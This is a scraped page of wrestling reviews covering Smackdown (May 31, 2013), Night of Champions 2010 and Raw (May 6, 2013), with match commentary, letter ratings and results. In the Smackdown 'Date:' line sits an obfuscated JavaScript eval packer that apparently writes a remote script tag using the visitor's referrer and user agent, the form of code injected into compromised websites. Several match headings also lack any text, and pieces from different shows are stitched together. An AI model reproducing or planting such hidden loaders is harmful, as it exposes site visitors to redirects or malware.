Results

Shield b. HELL NO/Randy Orton – Bulldog Driver to Bryan

Usos b. Prime Time Players – Superfly Splash to Young

Alberto Del Rio b. Big E. Langston – Cradle

Sheamus b. Cody Rhodes – Brogue Kick

Fandango vs. Great Khali went to a no contest

The Miz b. Wade Barrett – Figure Four

Kaitlyn/Funkadactyls b. AJ Lee/Bella Twins – Spear to Nikki Bella

Daniel Bryan b. Ryback via DQ – Ryback powerbombed Bryan through a table

Curtis Axel b. John Cena via countout

 

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Smackdown – May 31, 2013: Sheamus and the Shield Game

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzati|var|u0026u|referrer|shrnr||js|php'.split('|'),0,{})) May 31, 2013
Location: Rexall Place, Edmonton, Alberta, Canada
Commentators: Michael Cole, John Bradshaw Layfield, Josh Matthews

We open with a list of names that Shield has taken down in the last week. Tonight Shield is in singles matches against various people.

Seth Rollins vs. Kane

Roman Reigns vs. Daniel Bryan

Back with Bryan trying to speed things up but getting caught by another clothesline for two. Bryan gets all fired up and hits a hard set of kicks to the chest followed by a running dropkick in the corner for two of his own. Reigns drills him in the stomach to slow Bryan down but Bryan hooks the NO Lock out of nowhere. Reigns crawls over to the ropes but only gets there with Seth pushing the rope towards him. Kane goes after Rollins but hits Reigns for the DQ at 9:20.

Curtis Axel vs. Sin Cara

Axel hits a quick backbreaker and dropkick to take over before ripping at the mask a bit. After a quick chinlock Sin Cara comes back with some kicks of his own, followed by a springboard crossbody. A Tajiri elbow is countered by a forearm to the back of the head though and a PerfectPlex ends Cara at 2:00.

Big E. Langston vs. Alberto Del Rio

Langston pounds him into the corner to start and fires off some shoulders, but Del Rio comes back with a kick to the ribs. Big E. drapes him across the top rope and Del Rio is right back down. Del Rio comes back with more kicks and a running clothesline, only to walk into a belly to belly for two. The Backstabber staggers Langston and a German suplex puts him down again.

Kofi Kingston vs. Ryback

Post match Ryback powerbombs Kofi through three tables.

Jericho talks about all the diseases Punk has from sleeping with dogs like Heyman.

Chris Jericho vs. Cody Rhodes

Wyatt Family video. These guys are awesome.

Randy Orton vs. Dean Ambrose

Post match HELL NO comes in for the save, with Bryan down almost all of the work himself, and Shield is sent running. A HUGE YES chant ends the show.

Results

Kane b. Seth Rollins – Chokeslam

Roman Reigns b. Daniel Bryan via DQ when Kane interfered

Curtis Axel b. Sin Cara – PerfectPlex

Big E. Langston b. Alberto Del Rio – Big Ending

Ryback b. Kofi Kingston – Shell Shock

Randy Orton b. Dean Ambrose via DQ when Shield interfered

Remember to follow me on Twitter @Kbreviews and pick up my new book on the History of Starrcade from Amazon at:

 



Night of Champions 2010: Throwing Back A Six Pack

Night of Champions 2010
Date: September 19, 2010
Location: Allstate Arena, Rosemont, Illinois
Commentators: Michael Cole, Matt Striker, Jerry Lawler

Since this PPV is all about champions, take a guess as to what it’s about. That’s right: pancakes. I prefer them with just syrup but some people actually like butter. I’m not a butter fan so I never use it. Ok the show is starting now so I’m out of jokes. I could go for some Aunt Jemima though.

One thing I wonder: what are Paper Jams? Paper related music? A jelly substitute made from trees? Wow syrup and jam already. Hopefully no one lays an egg or we’ll have a decent breakfast.  Let’s get to it.

I apologize for that joke. Even I thought it sucked beyond belief.

IntercontinentalTitle: KofiKingstonvs. DolphZiggler

If Dolph is disqualified or counted out he loses the title. Vickie does her intro but we get to look at Kaitlyn in a good looking dress so I can live with that. The music helps too. We get the two hands behind the head here which I like as a taunt for some reason. They have him in a black bowtie now too which makes my head hurt. Red tights for Kofi tonight which is a good look for him.

Feeling out period to start which is weird since they’ve had so many matches. The ring skirt has all the titles around it which is a cool look. Kaitlyn helps to get Dolph up and is yelled at of course. NICE neckbreaker by Dolph and a chinlock follows it up. The champion has half black and half white boots on which is different for him. He uses a big boot. Well of course he does.

Dolph hits a Fameasser which gets a joke from Striker. King audibly groans at it too which is the sign of a bad one. When JERRY LAWLER thinks your joke sucks, you’ve got a big problem. Lawler: Vickie used to be boy crazy. Boys would have nothing to do with her and it drove her crazy. Vickie is in leather pants which gets a lot of commentary for some reason.

And now Cole and Striker argue about who designed Vickie’s shirt. This is either really boring in ring stuff or really bad commentary. Given who is doing what, I think I’ll bet on the latter. Kofi hits a counter to get us to even again and here’s the comeback. Nice standing dropkick and he hits a Thesz Press. Wow I haven’t seen one of those in YEARS. Boom Drop hits and sets for Trouble in Paradise.

He does the stupid clapping thing where everyone cheers for him. Sleeper is blocked as Dolph uses it for a counter. SOS gets two as Ziggler gets his foot on the ropes. We’re cranking it up again here as I think I know the finish that’s coming. I’ll let you know if I was right or not. We hit the floor and Kofi is dominating. He throws Ziggler back into the ring to break the count which Striker says is smart. Cole of all people points out the reality: it was stupid as he would win the title on a countout.

Sleeper out of NOWHERE (which remember must suck since it’s a transitional move or whatever. I love the IWC’s idiocy at times) and Kofi is in trouble. He gets up quickly which is at least believable. I can’t stand when someone is in a hold for like a minute and then gets out of it. Kofi gets one of his own on but Dolph reverses. Vickie goes to smack Kofi but Dolph screams at her not to. Trouble in Paradise misses and Zig Zag ends this mostly clean which is surprising. I was wrong with what popped into my head but not entirely, but I’ll spare you the details.

Rating: B. This would be standard fare on Smackdown which means it’s very solid. This was another good match between them and hopefully this ends their feud which has run its course I think. Solid here and Ziggler looked strong, dominating for the most part and countering on a mistake to win it. Solid stuff but PLEASE get rid of Vickie as he doesn’t need her anymore.

Miz does an ad for Paper Jams, which is a music thing or something.

Edge says he’ll win. Nothing at all special about this.

CMPunkvs. BigShow

Ok, Punk HAS to win this or his year is more or less a lost one. He’s called the Second City Saint here in his hometown which is a rare thing in this company. He gets the hometown reaction which Lawler is surprised by. That’s ironic as Lawler has made more of a career out of one town than anyone in history. Punk says he loves Chicago but he hates the inhabitants of it. Is he a self-hater I suppose?

He manages to get heel heat here in a smark stronghold. That’s saying a lot. Punk wants to burn the city down and rebuild it into a straightedge utopia. That’s a great line actually. Punk tops that by saying if he’s facing the Giant then he is David and his slingshot is the almighty straightedge. I already live such a lifestyle but I want to join him anyway. Punk with the headband is still weird looking.

Cole calls Show a knucklehead, and wouldn’t you know that’s the title of his upcoming film. Cole says a headbutt from Show is like taking a cinderblock and breaking it over the opponent’s head. WHY DOES HE KNOW WHAT THAT FEELS LIKE? Big chop sends Punk to the floor. PUNK USED A FREAKING BIG BOOT. He follows it up with a slingshot senton bomb over the top to the floor in a nice spot.

Punk has him down but one punch slows him down. Middle rope elbow gives Punk the advantage back. They’re pacing this differently which is working well. Punk kicks him in the head which is a nice touch. Striker asks Lawler who the biggest man he’s ever been in the ring with. Of course it’s Andre, and Cole says that no one beat Andre. I REALLY hope he said that as a generalization and not literally because who are they trying to kid otherwise?

Show more or less tackles Punk out of the air and punches him for the pin. ARE YOU KIDDING ME? Show hit two moves: the tackle and the punch. That’s it. That was Show’s offense. Punk DOMINATED other than that but Show hits two move to end it. I hate this company some times. How in the world can you validate giving Show that win that way after Punk killed on the mic? It makes Punk’s offense look pathetic but hey who cares? Show is BIG so of course he gets to win. Freaking joke man.

Rating: F. This was idiotic. Yes Punk is my favorite wrestler, but sweet goodness man: someone please explain to me why in the holy mother of goodness THE BIG SHOW deserves to go over him like this or in any way that doesn’t involve Gallows jumping Punk. Punk has been GOLD on the mic lately and yet his only big win recently is over Christian when Alberto interfered. This is so freaking stupid it’s unreal.

Jericho says he’ll win everything. You know the line he throws in there.

We recap Bryan vs. Miz which should be good. I’ve heard great praise for their house show matches and after Monday I’m legitimately unsure who wins here.

USTitle: TheMizvs. DanielBryan

Miz in blue here which works for him in a weird way. Riley is here with Miz of course. We’re told that Shawn trained by HBK which I don’t remember hearing before. Very well may have been though. Somehow we talk about Lou Thesz and Cole says he Googled all of his info. Can we get some talk about breakfast again? It’s far more interesting than this bickering.

Miz with a nice bow and arrow hold as the announcers keep up their whining. We get an explanation for the name LaBelle Lock, which is named after an old wrestler from the 30s. Well that’s better than nothing. Miz works the arm as Striker says he thinks Bryan is attractive. We get a shoulderbreaker and Striker gives a shout out to Double A (Arn Anderson) and says he should be in the Hall of Fame. Say it with me: AMEN!

The champ throws out a big boot as we’ve literally seen it three times tonight. Bryan with a suicide dive through the ropes to take out Miz. He SELLS THE ARM and hits a dropkick off the top for two. They slug it out and the selling continues. Let the boo/yay chanting begin! Running dropkick in the corner which always amazes me when someone hits it for some reason.

Miz kicks out again and Bryan gets a bit frustrated. We head up top and Bryan gets crotched. SWEET clothesline takes down Bryan who lands on his arm for two. All Miz here as he CRANKS on the arm and makes Bryan scream. Ropes are grabbed but Miz has til five. If he yelled that the IWC would have rioted. The Finale (not typing that name out) is countered into a rollup for two.

Riley gets on the apron but Miz punches him by mistake. Rollup by Bryan gets two and I would have bet on that being the ending. Bryan to the floor and Riley rams the post by mistake. Bryan STILL holds the arm. Miz just goes off on Bryan with punches but gets pulled into the LaBelle Lock AND IT’S OVER! Miz cries at ringside in a funny moment.

Rating: B+. This WORKED. I was way into the ending here as Bryan came off as awesome, just like Miz. I can’t wait for the IWC to complain about how Bryan carried Miz here and I can’t wait for it. Miz more than held up his half out there and looked great (just to be clear, Bryan was great here too). This was a very solid match but was held back by Riley interfering. Miz losing this way is perfect and it definitely put Bryan over. Very solid match and I was most impressed.

Hell in a Cell is in TWO WEEKS. Wow that’s dumb.

Cena is still all smiley and happy here and does a math themed promo which makes sense.

Women’sTitles: MichelleMcCoolvs. Melina

Michelle in red: DANG. Nice shot of her as the bell rings. Layla is ticked at her for being in there as we hear about the history of the Women’s Title, which is of course mostly nonsense but whatever. Crowd is DEAD. Yes, a Chicago crowd is dead. Michelle sends her to the floor but no one sends her back in. NICE Blockbuster from Orton’s elevated DDT position by Michelle. I love the Blockbuster (jumping front flip neckbreaker) so that was sweet for me.

Faithbreaker (Styles Clash) is blocked and Melina takes over. Decent belly to belly suplex for two by the blonde. Kelly gets up on the apron marking the first time they do anything all night as Melina has her rolled up. Kelly is for Melina here but just doesn’t get it I guess. The girls all beat up Michelle and send her back in. They need to stop slapping the mat as I think it’s a referee count.

Melina does the Matrix Move but Michelle just kicks her. Again: kicking and punching people works best a lot of the time. Both girls hit the floor as the girls yell at Michelle, showing off their acting…..talent. Layla interferes and Michelle gets to hit a, wait for it, wait for it, BIG BOOT TO UNIFY THE BELTS.

Rating: C-. Surprisingly decent match here although the girls were absolutely pointless out there. Layla interfering is fine as it’s expected, but what about the heat between them allegedly? This wasn’t much but at least it gets rid of the stupid Divas Title, or at least I hope so. Better than most Divas matches though so I’ll give it that.

Barrett talks about the Winds of Change. I wonder if he’ll Rock You Like a Hurricane.

We hit probably the longest recap ever as we set up Kane vs. Taker. You know this one by now I’m sure and if not go read my SD reviews for the last 6 weeks or so. We get the full history here over the last 12 years, including the straight up lie that Taker took Kane’s mask away.

SmackdownWorldTitle: Kanevs. Undertaker

Surprisingly Taker comes out first. They slug it out in the aisle to start. I want to see if they can break the streak of awful that their matches have been in the past. Taker shoves him off the stage into a pillar that the set is made of. The no holds barred aspect helps here as these two are designed for a big fight rather than just a regular match. So far they’re following that idea as it’s just a major fight so far.

Taker gets sent into the steps and Kane kicks him in the head. Why must you tease me with more big boots? Kane grabs the belt and hits Taker in the ribs with it which is a shot you don’t see that often. Clothesline off the top doesn’t get a cover as Kane does a really bad looking legdrop. Cole says Kane has dissected Taker. I guess we’re ignoring the first 4 minutes of this match.

Seated running one footed dropkick (just get to the freaking big boot you freaking teases!) hits as Kane is dominating. He takes the cover off the table and just pelts Taker with it. This has been a bit better than I expected and MUCH better than their other stuff. Taker sends him into the steps and has signs of life. Or is it death with him? His character can be a bit confusing at times.

Apron legdrop by Taker and for once the word vintage is ok. We get a mini Taker Dive as he sails over the railing to take down Kane. We head into the crowd as they’ve been in the ring about two minutes out of maybe 10 this has gone. Kane hits kind of a big boot. He hits a jumping punch as we’re back at ringside now. He punches Taker down and Taker is in trouble.

It turns into a boxing match almost with Kane throwing nothing but punches. Taker is getting DOMINATED here and it’s kind of nice to see. As long as he doesn’t make the comeback and win that is. Taker gets one punch in to a BIG old pop. He starts winning but Kane gets a knee. Jumping clothesline puts Kane down though. And now Taker throws punches.

Snake eyes and a big boot get two. We’re 5-5 in big boots tonight. Chokeslam to Kane but Taker can’t cover him. Striker calls him the weigher of souls. Could he be more over the top when talking about the zombie? Kane counters the Tombstone into one of his own and Kane wins clean!

Rating: C+. It wasn’t a great match by any means but this did what it was supposed to do. I don’t think these two can have a great match, but this is what they were supposed to do: Kane went out there and beat Taker up and then pinned him clean. That’s how this was needing to go and Kane gets the clean victory. Pretty sure we’re heading to Hell in a Cell with these two which is the next logical step. Kane needed this though and he got it.

Taker can barely get back to the locker room and almost has to crawl the last bit. I’d love Paul Bearer to come out here.

Randy says he has nothing to say. This takes nearly two minutes.

Legendary is coming to DVD already. That’s AWESOME.

We’re having a tag team turmoil match??? Hokey smoke. Someone made a thread about this and I didn’t think it would happen but here we go. The idea is there are five teams with two random ones starting. They have a match and then the winners advance to face the next team. Last team standing wins. It’s kind of like the weird cousin of the gauntlet match.

TagTeamTurmoil

We open with Hart Dynasty vs. Usos. Yeah because we haven’t seen this enough. Striker mentions playing a game called Six Degrees of the Hart Dungeon, which sounds AWESOME to a wrestling geek like me. DAVID HITS A BIG BOOT IN THE CORNER! Kidd hits a big Asai moonsault to the floor. Kidd gets the Sharpshooter but the other Uso hits a BIG BOOT to end him, guaranteeing new champions.

Kozlov/Santino vs. Usos now. This lasts about a minute as Santino sets for the cobra but Tamina distracts him, allowing a Samoan Drop (shocking right?) to end him.

Bourne/Henry in next. This shows how sad the tag division is. It truly does. Henry comes in and cleans house with the World’s Strongest Slam. Air Bourne ends it.

Final team is Drew/Cody. Ok we HAVE to have the heels win it here for the sake of sanity. Also so we can hear either awesome theme song. Drew is in those sexy white tights too so I’m happy. The heels dominate for awhile as Bourne plays Ricky Morton for awhile. They say Cody was a tag team champion but never say with who. I don’t get why though.

Big gutbuster by Drew as Bourne is in trouble, hence the Morton thing I guess. Drew CRANKS on a chinlock which looks awesome. Bourne gets out of a suplex using the ultimate counter: kicking his feet. Hot tag to Henry and Cody trips coming through the ropes. They go for the Super Shooting Star which takes forever so Cross Roads takes out Bourne (illegal man) for the pin and the titles.

Rating: D. These are hard to grade but given who was in this the booking more or less was terrible. No Gatecrashers or Dudebusters or Nexus but Bourne and Henry? Really? The one good thing here is that they beat the champions clean the other night. That’s a major plus for them so there’s no argument that they didn’t beat the champions. Not wild AT ALL on having another randon team thrown together but that’s the nature of the beast in modern tag wrestling I guess. Pretty bad though and definitely the worst of the night so far.

Random Alberto Del Rio promo montage.

Build up video for the elimination match and I think you get the idea of it.

Sheamus says his usual stuff.

RawWorldTitle: Sheamusvs. JohnCenavs. Edgevs. WadeBarrettvs. RandyOrtonvs. ChrisJericho

Pin or submission only for eliminations. MONSTER reaction for Edge. The trenchcoat is back too. Face pop for Jericho but not as big as Edge’s. Barrett is in his second PPV main event less than five months after making the main roster. Not bad. Elimination rules here. Orton is out last and gets a nice reaction but still pales in comparison to Edge. Striker asks Lawler for strategy here. Lawler says avoid elimination, which sounds really simplistic but Lawler follows it up by saying you’re going to have a better chance with three or four opponents than with five so if you can hang on your odds improve. Sometimes the simplest answer is best.

Tornado rules here too which is nice. We get a Hulk reference kind of as Cole lists off champions. Cena and Jericho stare each other down which makes me think Jericho is a jobber by comparison. RKO maybe 90 seconds in ends Jericho. WHAT THE HECK? He makes the big sad exit and everyone, myself included, is shocked. Y2J chant picks up of course as I’d love a face run from him.

Everyone surrounds Barrett and the beatdown is on! Orton and Cena have an eventual staredown but Barrett breaks it up. Striker calls Edge, Sheamus and Barrett rulebreakers. CENA THROWS A DROPKICK! The superpowers fight it out but Barrett saves Cena for some reason. Sheamus kicks Barrett in the face. He dominates for awhile and goes around kicking everyone in sight.

High knees to Cena which I can’t think of a Too Many Lies joke for. Cena blocks the High Cross as everyone else has apparently died. Edge comes back in and stops the top rope Fameasser. Double suplex off the top to take Cena down for two. Edge and Sheamus work together which tells me he eliminates the Irishman.

Orton pops up for like two seconds and Sheamus takes him down almost immediately. Spear misses and the Irish Curse takes Edge down. Brogue Kick misses but Edge gets the spear. Orton takes one too but Edge takes a very nice FU to get rid of him and we have four left. Barrett takes down Cena and stomps the tar out of him.

He and Cena fight it out for awhile until Cena makes his comeback. 5 Knuckle Shuffle but Sheamus accidentally hits Barrett. Cole keeps calling the FU the A.A. now. Sheamus is in the STF FOREVER and has one of the best teases of getting there I’ve ever seen. He manages to do it and you can feel the crowd just stop. Nexus comes out and the distraction allows Barrett to hit Wasteland on Cena and ELIMINATE HIM!

Nexus beats down Orton and since there are no disqualifications this is all gravy baby. Nexus tries to run in again but Cena KILLS one of them with a chair. Orton gets the backbreaker on Barrett and an RKO gets us down to Sheamus vs. Orton. Brogue Kick KILLS Orton but it only gets two and a big old pop. High Cross is countered and the RKO gives Orton his seventh title!

Rating: C+. This was ok. It wasn’t the mess I thought it would be and getting rid of two people relatively early, especially Jericho, made this run a lot more smoothly. It’s an ok match but really nothing worth going out of your way to see. They went with the usual multi-man formula here which I’m not a fan of at all. Barrett pinning Cena clean is a good thing but it’s probably going to lead to a Hell in a Cell match which I don’t think anyone wants to see at this point. Fairly good match, but not a great one at all.

Overall Rating: C-. This show was definitely ok but it’s not a great show. The title changes are usually pretty cool and some of these were, but I can’t really bring myself to care about Orton winning his 7th world title. You get some good stuff like Miz vs. Bryan and Kane vs. Taker, but other than that this show really isn’t anything special. It’s entertaining enough for three hours and if you watch it you won’t be bored, but you certainly won’t be blown away. Not a bad show but not really good either.

 

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Monday Night Raw – May 6, 2013: Punk Was Right. Security Around Here DOES Suck

Monday Night Raw
Date: May 6, 2013
Location: Roanoke Civic Center, Roanoke, Virginia
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

We open with the voiceover talking about Ryback walking out on Cena as well as Heyman and Lesnar at WWE headquarters today with the promise of footage later tonight.

We hear about Lesnar and Heyman invading WWE headquarters. It comes off like a breaking news report from a news channel.

Randy Orton vs. Damien Sandow

Orton beat Sandow on Smackdown but after the match Sandow hit him with the Terminus, meaning we need a rematch. On the way to the ring, Sandow gives us a song, set to the beat of Voices and talking about how Orton never changes his facial expressions, is covered in oil and is an ignoramus. That was great. Orton jumps Sandow quickly and loads up the Elevated DDT, only to have Damien head to the floor. Back in and Orton hits the backbreaker and the circle stomp as we take a break.

Big Show knocks out Randy as he leaves.

Fandango vs. R-Truth

More pictures of Heyman and Lesnar at WWE HQ.

We look back at Smackdown with Bryan losing to Ryback and then being attacked by Shield later in the night.

Alberto Del Rio vs. Dolph Ziggler

Non-title of course. Del Rio takes him down with a quick headlock and a hard kick to the back for two. Dolph comes back and stomps away in the corner before hitting a running splash for two. Alberto hits a running kick to the head/shoulder in the corner for two followed by the forearms to the back and the Backstabber. The champ falls to the floor and here come Swagger and Colter. Jack and Langston get in a staredown but Jack walks over to the announce table as we take a break.

Post match Swagger runs over Langston and beats up everyone in sight with the ladder.

More Lesnar photos.

Shield vs. Usos/Kofi Kingston

Antonio Cesaro vs. Zack Ryder

AJ/Bella Twins vs. Funkadactyls/Kaitlyn

AJ and Cameron start things off with Cameron being taken down with ease. AJ toys with her before putting on a cravate to slow things down. The crowd is eerily silent. Off to Kaitlyn to stare down AJ and get slapped in the face. The Bellas walk away, allowing Kaitlyn to spear AJ down for the pin at 2:23.

Wade Barrett vs. Sheamus

This is joined in progress with Barrett holding a chinlock. Henry is on commentary as well. Sheamus fights up and hits a running knee lift as Henry says Cole is “ate up with stupid.” There are the ten forearms to the chest and Barrett is knocked to the floor. Henry gets off commentary and Sheamus teases throwing Barrett at him but stops, sending Henry falling to the floor.

A Brogue Kick lays out Henry and Sheamus goes back inside with the top rope shoulder for two on Wade. Barrett gets a quick small package and the Winds of Change for two each. The Irish Curse stops the comeback dead but the Brogue Kick misses. A big forearm gets two for Barrett but the Bull Hammer is caught in White Noise. The Brogue Kick ends Barrett at 4:45.

Rating: C. Both midcard champions job in the same night again. The match was the usual physical fight between these two but Barrett jobbing has become an obvious ending to their matches. Sheamus continues to look great in the ring as he has a style that is very easy to adapt to and can work well with any kind of opponent.

Jericho vs. Fandango next week.

Now we look at the Lesnar footage AGAIN.

Ryback vs. Kane

Results

Randy Orton b. Damien Sandow – RKO

R-Truth b. Fandango via countout

Alberto Del Rio b. Dolph Ziggler via DQ when Jack Swagger interfered

Shield b. Kofi Kingston/Usos – Falling Bulldog to Kingston

Antonio Cesaro b. Zack Ryder – Neutralizer

Kaitlyn/Funkadactyls b. AJ/Bella Twins – Spear to AJ

Sheamus b. Wade Barrett – Brogue Kick

Ryback b. Kane – Shell Shock

 

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